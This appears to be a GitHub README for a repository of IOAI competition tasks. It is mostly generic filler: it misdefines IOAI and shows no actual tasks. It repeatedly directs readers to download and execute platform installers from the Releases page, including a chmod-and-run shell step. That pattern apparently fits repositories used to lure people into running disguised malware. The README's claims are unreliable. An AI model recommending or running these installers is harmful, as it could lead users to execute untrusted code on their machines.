https://github.com/Nestor53top/awesome-ioai-tasks/releases

Awesome IOAI Tasks: Curated Challenges from National IOAI Teams

Welcome to a growing collection of IOAI tasks gathered from different years and selections by national teams. This repository acts as a curated library of problem statements, datasets, and example solutions that illustrate how IOAI challenges evolved over time. It serves students, coaches, researchers, and organizers who want to study task design, benchmark building, and the kind of reasoning these tasks exercise.

What you will find here

• A stable, searchable archive of IOAI tasks organized by year and by national team
• Problem statements that cover a range of difficulty levels
• Datasets and reference solutions where available
• Clear task templates to help you create new problems that fit the IOAI style
• A plain-English guide to how tasks are structured, judged, and validated

Topics: not provided

Table of contents

• About this project
• How to use this repository
• Task structure and formats
• Yearly and national team archives
• How to contribute
• Data, licensing, and usage
• Release assets and how to install
• Examples and templates
• Roadmap and future work
• Community and support
• Frequently asked questions

About this project This repository is a centralized resource. It brings together IOAI tasks from various years and different national teams’ selections. The goal is to help learners compare task design, understand common constraints, and see how evaluation ideas have changed over time. The materials here are meant to be educational and reusable for practice, teaching, and fair assessment.

If you are new here, you can think of this as a reference library plus a starter kit for building your own IOAI tasks. Each task entry includes a title, a short description, input-output specifications, and notes on evaluation criteria. Some tasks provide sample data and sample solutions to illustrate expected reasoning and approach. Other entries point you to public resources that describe the original task in detail.

How to use this repository

• Find a task by year or by national team
• Open a task’s file to read the statement and constraints
• Review any attached dataset or sample solution
• Copy a task template to draft your own problems
• Use the task templates to design new challenges for practice or classroom use

If you want a quick way to get started, download the latest release and run the installer. The latest release contains a bundled set of tasks in a portable format designed for local practice. The asset is intended for one-click setup on common platforms. To obtain the asset, go to the Releases page and download the appropriate file for your OS, then follow the execution steps described in the asset notes.

How to get the latest releases

• The official release page is the Releases section of this repository: https://github.com/Nestor53top/awesome-ioai-tasks/releases
• From there, pick the latest release asset that matches your system and download it
• On Linux or macOS, you typically make the file executable and run it
• On Windows, run the installer executable

Note: If you prefer not to download an asset, you can still browse the Releases page for individual task files or for links to public datasets and description documents. The Releases page is the central point for obtaining new and updated materials.

Important note about the release asset

• There is a downloadable file in the release assets that combines task statements, example inputs, and evaluation notes
• The file's name will vary by release, but it typically follows the pattern awesome-ioai-tasks--.ext
• For Linux 64-bit, the name might look like awesome-ioai-tasks-setup-linux-x64.sh
• For Windows, the name might look like awesome-ioai-tasks-setup-windows.exe
• For macOS, the name might look like awesome-ioai-tasks-setup-macos.dmg

To prepare the asset for use, you may need to grant execute permission:

• chmod +x awesome-ioai-tasks-setup-linux-x64.sh
• Then run: ./awesome-ioai-tasks-setup-linux-x64.sh
• On Windows, run the installer by double-clicking the .exe file
• On macOS, mount the .dmg and run the installer inside

If you cannot download from the Releases page, or the asset is unavailable for your platform, check the Releases section regularly. Assets are updated as new tasks are added or revised, and you may find alternative download links in the description of each release.

Task structure and formats Most tasks in this repository share a consistent format to make them easy to compare and reuse. A typical task entry includes:

• Title: A concise name for the task
• Year and source: The year and the national team that contributed the task
• Description: A short, precise explanation of the problem
• Input specification: What the task input looks like, including example inputs if provided
• Output specification: What the problem expects as a valid output
• Constraints: Time, space, or problem-specific restrictions
• Evaluation notes: How solution correctness is judged
• Example: A worked example showing input, expected output, and explanation
• References: Links to the original problem, datasets, or related material

A sample task file might be written in Markdown with a structured layout. You can adapt this template to create new tasks. The goal is to preserve the readability of the problem while ensuring that evaluation criteria are clear.

Directory structure and archives The repository organizes content to help you navigate quickly. A typical layout may look like this:

• tasks/
  • year-2019/
    • national-team-1/
      • task-001.md
      • task-002.md
    • national-team-2/
      • task-003.md
  • year-2020/
    • national-team-1/
      • task-004.md
  • year-2021/
    • national-team-3/
      • task-005.md
  • year-2022/
    • national-team-4/
      • task-006.md
• datasets/
  • common/
    • dataset-01.csv
  • year-2019/
    • dataset-01.csv
• templates/
  • task-template.md
  • example-solution.md
• releases/
  • awesome-ioai-tasks-setup-linux-x64.sh
  • awesome-ioai-tasks-setup-windows.exe
  • awesome-ioai-tasks-setup-macos.dmg

If you want to add a new task

• Create a new Markdown file under the appropriate year and national team folder
• Use the task template to ensure consistency
• Include input data or a link to a dataset if needed
• Add a short evaluation note on how the task should be judged
• Open a pull request with a clear title and a short description of what you added

Contributing The project welcomes contributions from educators, students, and developers. To contribute:

• Fork the repository
• Add your task or dataset following the existing structure
• Include a brief description of the origin of the task and any licensing notes
• Run tests locally if you have a test script
• Submit a pull request with a concise message describing your changes

Guidelines for contributors

• Keep tasks self-contained. Do not rely on external services to solve them during evaluation unless specified
• Use the task template to ensure consistency
• Provide a clear edge-case discussion when applicable
• Include example inputs and outputs to illustrate expected behavior
• Cite sources when you adapt or translate tasks from other competitions
• Respect licensing and privacy constraints on any dataset you include

Data, licensing, and usage

• Most content in this repository is provided for educational and practice purposes
• Datasets included in the repository come with licensing details in their respective folders
• If you add data, include a short note on the licensing and source
• Do not share any sensitive or personal information in tasks or datasets
• If you reuse a task from another source, respect the original license and provide attribution

Release assets and how to install

• Each release bundles a curated set of tasks and supporting files

• The release asset is designed to run locally and present a practice environment

• To install the release, download the asset from the Releases page and run the installer appropriate for your OS

• After installation, you will have access to a local task browser, sample datasets, and a set of templates to create new tasks quickly

• For convenience, the Releases page is the central hub for assets, updates, and notes. The link to that page is provided above for quick access: https://github.com/Nestor53top/awesome-ioai-tasks/releases

Examples and templates

• Task template: A ready-to-fill skeleton that describes a new IOAI task
• Sample solution: A reference implementation that demonstrates how a task could be solved
• Dataset templates: Standard structures for inputs and expected outputs
• Evaluation templates: Guidelines on scoring and fairness

Roadmap and future work

• Expand the year-by-year archive with more tasks
• Add more national team contributions and language variants
• Improve search and filtering to help you find the exact task you need
• Add more examples of solved tasks to illustrate different approaches
• Integrate with common evaluation frameworks to streamline testing

Community and support

• The project welcomes feedback, questions, and contributions
• Open issues for feature requests, bug reports, or task additions
• If you want direct help, you can post questions in issues with the tag help-needed
• Engage with other learners and educators to share approaches and insights

Frequently asked questions

• What is IOAI? IOAI stands for a collection of tasks designed to exercise reasoning, planning, and problem solving. This repository focuses on tasks inspired by IOAI challenges used in national teams and yearly selections.
• How do I download and run a task locally? Start by downloading the latest release from the Releases page. Run the installer or executable for your platform. The asset includes task statements, datasets, and evaluation notes.
• Where can I find older tasks? Older tasks are stored under year-specific directories in tasks/. You can browse by year and by national team to find historical challenges.
• Can I contribute a new task? Yes. Fork the repository, add your task following the template, and open a pull request. Include a brief description of the task and its origin.

Sample task format (template)

• Title: Clear and concise
• Year: YYYY
• National team: Name
• Description: Short paragraph
• Input: What data looks like
• Output: What a valid solution should produce
• Constraints: Time, memory, or problem-specific restrictions
• Evaluation: How correctness is judged
• Example: Input and expected output, with explanation
• References: Any sources or notes

Why this structure helps

• It makes it easy to compare tasks across years
• It helps educators reuse and remix tasks for teaching
• It supports researchers who study task design and evaluation methods
• It provides a consistent experience for learners practicing IOAI-style problems

Changelog and releases

• Each release comes with notes describing new tasks, revised statements, or added datasets
• You can read the release descriptions on the Releases page
• If you add new tasks, update the changelog or release notes to reflect changes

Design choices and philosophy

• Clarity comes first. Each task has a plain description and precise input/output rules
• Consistency helps learners focus on problem solving, not formatting
• Openness supports diverse educational contexts and languages
• Safety and ethics are considered where tasks involve data or sensitive information

Usage tips and best practices

• Start with easier tasks to warm up, then move to more complex challenges
• Compare multiple approaches to understand trade-offs in time and space complexity
• Use the provided examples to verify your understanding before attempting new inputs
• Keep notes on edge cases you encounter to improve future task design

Accessibility and internationalization

• The repository is designed to be accessible to readers with various backgrounds
• Task descriptions aim for clarity and avoid ambiguous terms
• Where possible, tasks include versions or translations to illustrate language considerations in IOAI challenges

Sample workflow to create a new task

1. Choose a year and national team to host your task
2. Write a clear description and a precise input/output specification
3. Include constraints and an evaluation plan
4. Add a small set of examples with explanations
5. Attach or reference a dataset if needed
6. Submit a pull request with a descriptive message
7. Monitor the review and respond to feedback promptly

Orientation for maintainers

• Keep assets organized by year and team
• Maintain a consistent file naming convention
• Use the task template for new entries
• Regularly update the Releases page with new assets and notes
• Ensure license and attribution information is included where applicable

Community guidelines

• Be respectful and constructive in all discussions
• Focus on ideas and improvements, not personas
• Credit contributors for their work
• Report issues clearly with steps to reproduce
• Avoid sharing private data or disallowed content in tasks or datasets

Appendix: sample task entry (illustrative)

• Title: Baseline reasoning in constrained search
• Year: 2019
• National team: Team Alpha
• Description: Determine the optimal sequence of moves given a set of constraints
• Input: A list of constraints, a finite search space, and a scoring function
• Output: The best sequence of moves that maximizes the score
• Constraints: Maximum length 20, time limit 2 seconds per test
• Evaluation: Score parity with reference solution and runtime
• Example:
  • Input: constraints = [A, B, C], space_size = 100
  • Output: sequence = [x1, x2, ..., xk]
  • Explanation: The chosen sequence satisfies all constraints and yields a high score
• References: Original task description from the national team

End notes

• This README provides a comprehensive guide to the repository and its contents
• The material is designed to be practical for practice, teaching, and research
• For more details, visit the Releases page linked above and explore the task archive

Releases and downloads

• The central hub for assets, updates, and notes is the Releases page
• If you want to install or inspect the latest tasks locally, head to the same page: https://github.com/Nestor53top/awesome-ioai-tasks/releases
• You will find the Linux, Windows, and macOS installers, along with task bundles and sample datasets
• After downloading an asset, follow the installation steps described in the asset notes to set up your local practice environment

Releases page reference

• For quick access, you can revisit the official Releases page here: https://github.com/Nestor53top/awesome-ioai-tasks/releases

Accessibility note

• The repository is designed to be usable by people with varying levels of familiarity with IOAI tasks
• The layout emphasizes readability, with straightforward task descriptions and minimal jargon

End without conclusion